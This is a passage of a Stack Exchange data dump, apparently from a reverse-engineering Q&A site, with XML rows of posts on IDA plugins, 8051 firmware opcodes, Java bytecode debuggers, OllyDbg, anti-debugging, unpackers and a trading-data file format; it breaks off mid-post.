  <row Id="7975" PostTypeId="2" ParentId="6695" CreationDate="2015-01-08T01:27:28.903" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=EDUyzrxR-mY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=EDUyzrxR-mY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;game found enjoy it if you like. This is the real game from that flash teaser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game I found myself as well while I was visiting chinese upload websites&#xA;&lt;a href=&quot;http://bdtg.37.com/s/1/1789/22338.html?baidu_key=395e3e9222fd2722&quot; rel=&quot;nofollow&quot;&gt;http://bdtg.37.com/s/1/1789/22338.html?baidu_key=395e3e9222fd2722&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2015-01-08T01:27:28.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7977" PostTypeId="1" AcceptedAnswerId="7978" CreationDate="2015-01-08T10:50:34.857" Score="4" ViewCount="1362" Body="&lt;p&gt;IDC has a RunPlugin() function but there seems to be no way to unload a plugin explicitly. I searched high and wide - including the Hex-Rays forums - but found no answers. And judging by &lt;a href=&quot;https://www.hex-rays.com/forum/viewtopic.php?p=9051#p9051&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; I'm not the only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm trying to figure out how certain SDK functions work, by adding some test code to a plugin and loading it into IDA. If I use &lt;code&gt;PLUGIN_KEEP&lt;/code&gt; then I can experiment by calling my functions from the IDC prompt, but I have to close the database to unload the plugin. If I use &lt;code&gt;PLUGIN_UNL&lt;/code&gt; then I effectively have only one function with a single integer parameter, which severely restricts experimentation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm working around that by having &lt;code&gt;PLUGIN_KEEP&lt;/code&gt; set upon load but patching &lt;code&gt;PLUGIN_UNL&lt;/code&gt; into &lt;code&gt;PLUGIN.flags&lt;/code&gt; if the plugin's run function is called with parameter 666, or if the parameter is 0 and this isn't the first call to the run function. The latter is convenient because it allows loading/unloading with a single hotkey, without farting around with the command prompt. The plugin gets loaded automatically when an .IDB is opened, and then it can be unloaded and reloaded freely via the hotkey configured in &lt;code&gt;PLUGIN.wanted_hotkey&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, overall it seems a rather hackish approach relying on undocumented functionality. Is there a better/cleaner way of unloading a plugin, or are there caveats that I should be aware of?&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-08T11:48:41.647" LastActivityDate="2015-01-08T11:48:41.647" Title="Unload plugin without closing the .IDB?" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7978" PostTypeId="2" ParentId="7977" CreationDate="2015-01-08T11:44:17.200" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently I'm working around that by having PLUGIN_KEEP set upon load&#xA;  but patching PLUGIN_UNL into PLUGIN.flags&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not a &quot;workaround&quot; but actually a documented way to have IDA unload your plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define PLUGIN_UNL  0x0008      ///&amp;lt; Unload the plugin immediately after calling 'run'.&#xA;                                ///&amp;lt; This flag may be set anytime.&#xA;                                ///&amp;lt; The kernel checks it after each call to 'run'&#xA;                                ///&amp;lt; The main purpose of this flag is to ease&#xA;                                ///&amp;lt; the debugging of new plugins.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-01-08T11:44:17.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7981" PostTypeId="2" ParentId="6884" CreationDate="2015-01-08T18:13:35.163" Score="1" Body="&lt;p&gt;I was able to do this comparsion using IDA-Python 1.7.0 and IDA Demo 6.6. The script code is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tmp = GetString(DbgDword(cpu.ESP + 0x4), -1, ASCSTR_C)&#xA;&#xA;return str(Tmp).upper() == &quot;D:\\3K-MILLENNIUM\\3K-MILLENNIUM\\USER_LAW.TXT&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Link to &lt;a href=&quot;https://onedrive.live.com/redir?resid=EFFB2D14F5621F5F%216706&quot; rel=&quot;nofollow&quot;&gt;IDA-Python 1.7.0&lt;/a&gt;, compiled for Win32 (32bit &amp;amp; 64bit).&lt;/p&gt;&#xA;" OwnerUserId="1966" LastEditorUserId="1966" LastEditDate="2015-01-08T18:26:23.267" LastActivityDate="2015-01-08T18:26:23.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7982" PostTypeId="1" CreationDate="2015-01-08T22:06:02.477" Score="0" ViewCount="906" Body="&lt;p&gt;I am trying to debug an executable(PEID shows Visual Basic 5.0 - 6.0) using ollydbg v1.10. The exe is quiet big about 74 mb and olly is always crashing during the analysis process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on windows 7, 3 gigs of RAM and Intel Quad core Q6600.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried Olly 2.0 as well as Ollydbg by The legend of Random also but the same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins that can handle the analysis process or is there something i need to do to make it work? Please suggest.&lt;/p&gt;&#xA;" OwnerUserId="2202" LastActivityDate="2015-02-13T15:07:15.343" Title="large exe in ollydbg" Tags="|ollydbg|executable|visual-basic|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7983" PostTypeId="2" ParentId="7982" CreationDate="2015-01-09T03:47:50.537" Score="1" Body="&lt;p&gt;Large exe files are &lt;em&gt;primarily&lt;/em&gt; due to large amounts of embedded data. Embedded data may mean binary resources and/or overlay. Large file sizes can also be due to &lt;a href=&quot;https://kb.iu.edu/d/akqn&quot; rel=&quot;nofollow&quot;&gt;static linking&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is due to overlay then you may try to strip the overlay using any decent PE editor such as &lt;em&gt;&lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow&quot;&gt;exeinfo pe&lt;/a&gt;&lt;/em&gt; and then try to load it in Ollydbg to do an analysis. However the exe will probably function differently with a missing overlay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other and more probable reason for crashing may be due to an anti-debugging trick or a bug such as the fpu bug in Ollydbg v1. For that try to use a patched Ollydbg and there are plenty available.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-01-09T03:56:41.173" LastActivityDate="2015-01-09T03:56:41.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7984" PostTypeId="1" CreationDate="2015-01-09T04:36:23.790" Score="2" ViewCount="457" Body="&lt;p&gt;I'm working on reverse engineering a USB controller. The name of the controller chip is the &quot;UD6810&quot; which appears to be a Chinese clone of another chip (since a lot of results about it have been removed from Google via DMCA requests). I've found a program which can successfully flash the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I obviously need to determine the instruction set before I can modify it. The datasheets I've found on the web seem to be missing this key information and docs are generally quite hard to find. I have the binary code since I can both see it in the flashing program's files and capture it in the USB traffic as it flashes the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I determine the instruction set?&lt;/p&gt;&#xA;" OwnerUserId="11450" LastEditorUserId="116" LastEditDate="2015-01-09T17:00:00.937" LastActivityDate="2015-01-09T17:00:00.937" Title="How can I determine the instruction set of a USB controller from binary code?" Tags="|firmware|usb|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7986" PostTypeId="2" ParentId="7984" CreationDate="2015-01-09T10:54:05.867" Score="6" Body="&lt;p&gt;I will answer not what you asked in the title but what you actually need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's around 99% probability it's a 8051 derivative. I don't know a single Chinese USB controller which does not use one. Although I haven't seen them all, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a random MPTOOL for this controller from flashboot.ru and it had some binaries. They do look like 8051 code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:1B24             RESET_0:                                ; CODE XREF: RESETj&#xA;ROM:1B24 75 81 7E                    mov     SP, #RAM_7E     ; Stack Pointer&#xA;ROM:1B27 02 1B 65                    ljmp    ROM_1B65&#xA;ROM:1B2A             ; ---------------------------------------------------------------------------&#xA;ROM:1B2A&#xA;ROM:1B2A             ROM_1B2A:                               ; CODE XREF: RESET_0+48j&#xA;ROM:1B2A 02 1D 20                    ljmp    ROM_1D20&#xA;ROM:1B2D             ; ---------------------------------------------------------------------------&#xA;ROM:1B2D&#xA;ROM:1B2D             ROM_1B2D:                               ; CODE XREF: RESET_0+5Fj&#xA;ROM:1B2D E4                          clr     A&#xA;ROM:1B2E 93                          movc    A, @A+DPTR&#xA;ROM:1B2F A3                          inc     DPTR&#xA;ROM:1B30 F8                          mov     R0, A&#xA;ROM:1B31&#xA;ROM:1B31             ROM_1B31:                               ; CODE XREF: RESET_0+17j&#xA;ROM:1B31 E4                          clr     A&#xA;ROM:1B32 93                          movc    A, @A+DPTR&#xA;ROM:1B33 A3                          inc     DPTR&#xA;ROM:1B34 40 03                       jc      ROM_1B39&#xA;ROM:1B36 F6                          mov     @R0, A&#xA;ROM:1B37 80 01                       sjmp    ROM_1B3A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(this is a typical startup produced by the Keil C51 compiler)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some common opcodes seen in 8051 binaries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 xx xx   ljmp (absolute)&#xA;12 xx xx   lcall (absolute)&#xA;22         ret&#xA;E4         clr A&#xA;90 xx xx   mov DPTR, xxxx&#xA;A3         inc DPTR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2015-01-09T11:02:18.107" LastActivityDate="2015-01-09T11:02:18.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7988" PostTypeId="1" CreationDate="2015-01-09T16:08:39.040" Score="2" ViewCount="1129" Body="&lt;p&gt;I am using IDA Pro to debug an ELF binary remotely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While debugging, I want to search for a specific address in the hex dump. In Olly debugger, we have the option to follow any address or register in the hex dump. Is there a similar option in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that IDA Pro has an option to synchronize the hex dump with a specific register. However, I need to search for a specific address, how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the Jump menu in IDA Pro and there was no option. The &quot;Jump to address&quot; or G option is to search in the code section. Is there a similar option for searching in hex dump as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2015-01-09T16:08:39.040" Title="Search hex dump in IDA pro remote debugger" Tags="|ida|debugging|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7990" PostTypeId="1" CreationDate="2015-01-09T21:56:58.613" Score="8" ViewCount="3007" Body="&lt;p&gt;I've seen quite a few crackmes on reverse engineering VM's. I've also come across &quot;Unpacking Virtualization Obfuscators&quot;. Are there any other writeups that you could point me to that discuss the RE'ing of a VM based obfuscation from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is the source code for any VM based obfuscator available online?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-01-14T11:40:48.573" Title="Writeup of reverse engineering VM based obfuscation" Tags="|obfuscation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7991" PostTypeId="1" AcceptedAnswerId="7992" CreationDate="2015-01-10T04:57:39.797" Score="12" ViewCount="8302" Body="&lt;p&gt;What is the good Java debugger for .class files, if no source code available? jdb is seems pretty weak :(&#xA;I don't need to decompile .class, but I want to debug bytecode.&lt;/p&gt;&#xA;" OwnerUserId="11459" LastActivityDate="2018-06-04T10:50:47.967" Title="Java .class bytecode debugger" Tags="|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7992" PostTypeId="2" ParentId="7991" CreationDate="2015-01-10T07:07:31.110" Score="14" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.drgarbage.com/bytecode-visualizer/&quot; rel=&quot;noreferrer&quot;&gt;Bytecode Visualizer&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Inspect, understand and debug Java bytecode, no matter if you have the corresponding source.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/nlfiedler/jswat&quot; rel=&quot;noreferrer&quot;&gt;JSwat Debugger&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;JSwat is a graphical Java debugger front-end, written to use the Java Platform Debugger Architecture and based on the NetBeans Platform. Its features include sophisticated breakpoints; colorized source code display with code navigator; movable display panels showing threads, call stack, visible variables, and loaded classes; command interface for more advanced features; and Java-like expression evaluation, including method invocation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://sourceforge.net/projects/jbcd/&quot; rel=&quot;noreferrer&quot;&gt;Java ByteCode Debugger (JBCD)&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;JBCD is an interactive debugger for Java bytecode. It allows a programmer to step through bytecode one statement at time. The tool is indended for people who are writing programs to generate or modify bytecode. JBCD can be used with any Java compiler&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://the.bytecode.club/pages.php?page=bytecode-viewer&quot; rel=&quot;noreferrer&quot;&gt;Bytecode Viewer&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Bytecode Viewer is a Java Bytecode Viewer, GUI Procyon Java Decompiler, GUI CFR Java Decompiler, GUI FernFlower Java&#xA;  Decompiler, GUI Jar-Jar, Hex Viewer, Code Searcher, &lt;strong&gt;Debugger&lt;/strong&gt; and more.&#xA;  It's written completely in Java, and it's open sourced.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://code.google.com/p/javasnoop/&quot; rel=&quot;noreferrer&quot;&gt;JavaSnoop&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;A tool that lets you intercept methods, alter data and otherwise hack Java applications running on your computer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://andrei.gmxhome.de/bytecode/index.html&quot; rel=&quot;noreferrer&quot;&gt;Bytecode Outline&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Bytecode Outline plugin shows disassembled bytecode of current java editor or class file, allows bytecode/ASMifier code compare for java/class files and shows ASMifier code for current bytecode. It also allows to disassemble and &lt;a href=&quot;http://andrei.gmxhome.de/bytecode/debugging.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;debug classes&lt;/strong&gt;&lt;/a&gt; without attached source code on any operating system where Eclipse is running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum: &lt;a href=&quot;http://blog.crowdstrike.com/native-java-bytecode-debugging-without-source-code/&quot; rel=&quot;noreferrer&quot;&gt;This blog&lt;/a&gt; from &lt;em&gt;Crowdstrike Inc.&lt;/em&gt; will also be helpful&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-05-10T03:38:19.593" LastActivityDate="2015-05-10T03:38:19.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7994" PostTypeId="1" AcceptedAnswerId="7995" CreationDate="2015-01-10T19:39:12.593" Score="2" ViewCount="280" Body="&lt;p&gt;In the IDA View, I frequently use the Escape key to move the cursor back to the previous location.  However, sometimes I accidentally hit the Escape key while the focus is still on another view, which causes that view to close.  Reopening and positioning the affected view every time this happens can be cumbersome.  &lt;strong&gt;Is there a way to disable the Escape key &lt;em&gt;only&lt;/em&gt; for particular views?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2015-01-10T19:39:12.593" Title="Can I prevent IDA from closing the view when I hit the Escape key?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7995" PostTypeId="2" ParentId="7994" CreationDate="2015-01-10T19:39:12.593" Score="4" Body="&lt;p&gt;It turns out that this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the IDA program directory and open &lt;code&gt;cfg\idagui.cfg&lt;/code&gt;.  If you scroll down, you should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Built-in window ids&#xA;#define BWN_EXPORTS 0x00000001 // exports&#xA;#define BWN_IMPORTS 0x00000002 // imports&#xA;#define BWN_NAMES   0x00000004 // names&#xA;... several lines removed ...&#xA;#define BWN_DISASMS 0x20000000 // disassembly views&#xA;#define BWN_DUMPS   0x40000000 // hex dumps&#xA;#define BWN_NOTEPAD 0x80000000 // notepad&#xA;&#xA;CLOSED_BY_ESC           = 0x9A0FFFFF    // All windows that are closed by Esc.&#xA;                                        // If a windows is not closed by Esc,&#xA;                                        // it can be closed by Alt-F3.&#xA;                                        // (disasm/hexdump/navband can not be closed by Esc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unset bits from the &lt;code&gt;CLOSED_BY_ESC&lt;/code&gt; variable that correspond to the views that you do not want to close with the Escape key.  Then save and reopen IDA.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2015-01-10T19:39:12.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7996" PostTypeId="2" ParentId="6229" CreationDate="2015-01-10T21:42:31.100" Score="0" Body="&lt;p&gt;Do you mean calling functions from host executable, in which you have injected your DLL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case I don't suggest you using direct addresses because there is possibility that the image is loaded at different address than intended (especially if 'IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE' flag is set). Better use 'GetModuleHandle' to get process image base and call your functions using RVA plus the value returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above will be true if the target functions aren't in the EAT of the host image. If this is the case you can just declare their names and use those functions in your source if you have the proper host image libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the best I can say because your question is a bit unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The code you have written in OP, can be re-written as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const wchar_t* (__fastcall *get_string)(const char*, int, const char*, int) = (decltype(get_string))0x6f9ec0;&#xA;&#xA;int&amp;amp; g_cx = *(int*)0x8523e0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your compiler supports C++11 or above because of the 'decltype' keyword.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastEditorUserId="1966" LastEditDate="2015-01-10T21:57:06.473" LastActivityDate="2015-01-10T21:57:06.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7997" PostTypeId="1" CreationDate="2015-01-11T17:03:39.400" Score="0" ViewCount="1505" Body="&lt;p&gt;during an analysis, I have found the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ...&#xA;  call program.00401535&#xA;  ...&#xA;  (a few lines later)&#xA;  ...&#xA;  ...&#xA;  call program.00401535&#xA;  ...&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it call the same function. When I step over that first call, nothing happens. But later, when I step over the second call, suddenly I get the message &quot;000004C0 terminated, exit code 0&quot; and ollydbg is running, running...and running.&#xA;So, I have decided to look into that function and I see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    PUSH EBP&#xA;                    MOV EBP, ESP&#xA; 00401538           PUSH 1000&#xA;     |              CALL DWORD PTR DS:[40241C]    ; which is kernel32.Sleep&#xA;     -------------- JMP  SHORT program.00401538&#xA;                    LEAVE &#xA;                    RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it is simple what it is doing here. Since we have unconditional jump, it always lets the program sleep for a while. In other words, that function should never return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But my question would be:&lt;/strong&gt;&#xA;Why it was possible for me to step over the first call, and not over the second ?&#xA;I googled for Sleep() as anti-debugging trick but I did not find anything about that. &#xA;Can somebody tell me what can I do in such a case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2015-12-16T17:43:27.997" LastActivityDate="2015-12-16T17:43:27.997" Title="Use of Sleep() function (twice)" Tags="|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7998" PostTypeId="2" ParentId="7997" CreationDate="2015-01-11T17:23:58.683" Score="1" Body="&lt;p&gt;Are you sure the contents of DS:[40241C] haven't been changed between the first and the second call? Maybe it's not the sleep function called at all, at the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;fptr=generateException;&#xA;ExceptionReturnOrEndleesLoop();&#xA;if (shenanigans) {&#xA;    fptr=sleep;&#xA;    ExceptionReturnOrEndlessLoop();&#xA;}&#xA;&#xA;ExceptionReturnOrEndlessLoop() {&#xA;    for (;;) {&#xA;        try {&#xA;            (*fptr);&#xA;        } catch  (someexception Ex) {&#xA;            return;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even, have the function pointer refer &lt;code&gt;sleep()&lt;/code&gt; all the time, but create a second thread that waits for exactly 500 ms, then interrupts the main thread (and the sleep, thus causing an exception). If you're singlestepping, the interrupt will occur before the sleep() gets executed, and the exception handler won't ever get executed.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-01-11T17:29:42.873" LastActivityDate="2015-01-11T17:29:42.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7999" PostTypeId="2" ParentId="7997" CreationDate="2015-01-11T17:25:28.367" Score="0" Body="&lt;p&gt;This is a possible scenario in a multithreaded application. Here the anti-debugging check is run in a dedicated thread. When the main thread calls &lt;code&gt;Sleep&lt;/code&gt;, it means that it is giving up cpu-time so that the other thread have higher chances to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug such an application in Ollydbg, look in the threads Window. If you find another thread running, you need to analyze it too.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-01-11T17:25:28.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8000" PostTypeId="2" ParentId="6674" CreationDate="2015-01-12T06:44:39.980" Score="3" Body="&lt;p&gt;There exist unpackers for PECompact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try unpecompact2, I think there are two versions.&#xA;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/UnPECompact2_(MadMickael_version)&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/tools/index.php/UnPECompact2_(MadMickael_version)&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/UnPECompact2_(smola_version)&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/tools/index.php/UnPECompact2_(smola_version)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those doesn't work, you can try generic unpacker such as &lt;a href=&quot;http://rce.su/rldepacker/&quot; rel=&quot;nofollow&quot;&gt;RL!dePacker&lt;/a&gt;, &lt;a href=&quot;http://www.xuetr.com/?p=11&quot; rel=&quot;nofollow&quot;&gt;linxerUnpacker&lt;/a&gt;, &lt;a href=&quot;http://qunpack.ahteam.org/&quot; rel=&quot;nofollow&quot;&gt;Quick Unpack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8355" LastEditorUserId="8355" LastEditDate="2015-01-13T22:54:54.423" LastActivityDate="2015-01-13T22:54:54.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8001" PostTypeId="2" ParentId="6828" CreationDate="2015-01-12T10:47:22.273" Score="2" Body="&lt;p&gt;Take a look at the file Properties-&gt;Details of &quot;QtCore4.dll&quot; it uses to see what Qt version it is.&lt;br&gt;&#xA;Go to &lt;a href=&quot;http://www.qt.io/download/&quot; rel=&quot;nofollow&quot;&gt;Qt website download page&lt;/a&gt; and get the matching version.&lt;br&gt;&#xA;There are both full source and compiled distributions there.&lt;br&gt;&#xA;You will probably have to rebuild it to match your application's compile settings.&lt;br&gt;&#xA;For instance if you see the application is using &quot;msvcr100.dll&quot; then you know it's using &quot;Visual Studio 2010&quot;.&lt;br&gt;&#xA;This way you might be able to build compatible import libs to use from an injected DLL, and the example/samples should be close to your target for examination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should read up on at least the basics of Qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say it's using a QList then take a look here: &lt;a href=&quot;http://qt-project.org/doc/qt-4.8/qlist.html&quot; rel=&quot;nofollow&quot;&gt;http://qt-project.org/doc/qt-4.8/qlist.html&lt;/a&gt;&lt;br&gt;&#xA;Although that is not a widget, it must be some sort of list or list view type based on your description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the Qt imports in the application.  Like at instances of the &quot;QWidget&quot; ctor for example to find out where various widgets are being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can inject a DLL you can probe by setting a hotkey to call static methods &quot;QApplication::allWidgets()&quot; or &quot;QApplication::topLevelWidgets()&quot; to get list of all the controls with info facilitated from accessors like &quot;windowTitle()&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logical/obvious places to look are at the control that is being manipulated, and the mouse click signals/events that it has setup.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just got to start digging in and break things down. &#xA;Don't know your experience level, but in reversing often &lt;strong&gt;&quot;the hard way&quot;&lt;/strong&gt; is the right and, or, the only way..&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2015-01-12T10:47:22.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8002" PostTypeId="2" ParentId="7990" CreationDate="2015-01-12T13:03:49.847" Score="5" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://old.honeynet.org/scans/scan33/index.html&quot; rel=&quot;noreferrer&quot;&gt;pretty old challenge&lt;/a&gt; with, among other stuff, a VM in the end. You have both the write-ups of many candidates, and the &lt;a href=&quot;http://old.honeynet.org/scans/scan33/nico/index.html&quot; rel=&quot;noreferrer&quot;&gt;official write-up of the author&lt;/a&gt;, with explanations as how to do such VM-based obfuscation.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2015-01-12T13:03:49.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8003" PostTypeId="1" CreationDate="2015-01-13T01:04:57.920" Score="1" ViewCount="2787" Body="&lt;p&gt;January 17, 2015 update,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We made some progress by converting the CSV to hcc file; however, MT5 is deleting the file. Attached is our code. Can someone help us? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/n5454ao79mmqksf/CSVtoHCC.rar&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/n5454ao79mmqksf/CSVtoHCC.rar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can someone give us some pointers as how to crack this hcc file? It took a long time but a friend was able to determine its data structure. See link below for the hcc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 byte, seperator , little endian encoding 18385028, hex(84 88 18 01)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 byte, time, int divisible by 60&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 byte, double Opened Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 byte, double Highest Price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 byte, double Lowest 